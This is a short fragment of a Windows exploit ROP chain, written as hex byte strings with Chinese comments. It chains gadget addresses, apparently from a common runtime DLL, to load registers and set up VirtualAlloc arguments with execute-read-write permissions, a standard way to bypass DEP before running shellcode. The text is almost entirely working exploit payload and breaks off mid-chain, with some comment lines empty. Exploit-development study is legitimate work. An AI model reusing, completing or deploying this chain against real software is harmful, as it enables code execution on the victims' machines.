//
阶段(0) 配合之后的指令
"\x2e\x40\x34\x7c"
//0x7c34402e
:
"\x98\xb1\x38\x7c"
//0x7c38b198
; [edx]可写 edx = 0x7c38b198
"\x13\x40\x37\x7c"
//0x7c374013
:
"\x98\xb1\x38\x7c"
//0x7c38b198
; [ebp]可读 ebp = 0x7c38b198
//
阶段(1) edx<--eax<--esi<--esp,edx准备作为VirtualAlloc的第一个参数
"\x4f\x2f\x37\x7c"
//0x7c372f4f
:
"\x38\x05\x35\x7c"
//0x7c350538
:
"\x00\x00\x00\x00"
//0x00000000
: esi = 0
"\xc6\x09\x36\x7c"
//0x7c3609c6
:
//
//
//
"\x41\x41\x41\x41"
//0x41414141
: 占位 edi = 0x41414141
"\x98\xb1\x38\x7c"
//0x7c38b198
: [esi]可写 esi = 0x7c38b198
"\x41\x41\x41\x41"
//0x41414141
: 占位 ebx = 0x41414141
//
(2)ecx<--0x7c34a459
"\x19\xc0\x36\x7c"
//0x7c36c019
:
"\x59\xa4\x34\x7c"
//0x7c34a459
,
//
阶段(3) 布置VirtualAlloc的参数
"\xce\x25\x34\x7c"
//0x7c3425ce
:
//
//
"\x00\x02\x00\x00"
//0x00000200
,
"\x00\x10\x00\x00"
//0x00001000
,
"\x40\x00\x00\x00"
//0x00000040
,
"\x41\x41\x41\x41"
//0x41414141
,
"\x42\x42\x42\x42"
//0x42424242
,
"\x30\x5c\x34\x7c"
;
//0x7c345c30
,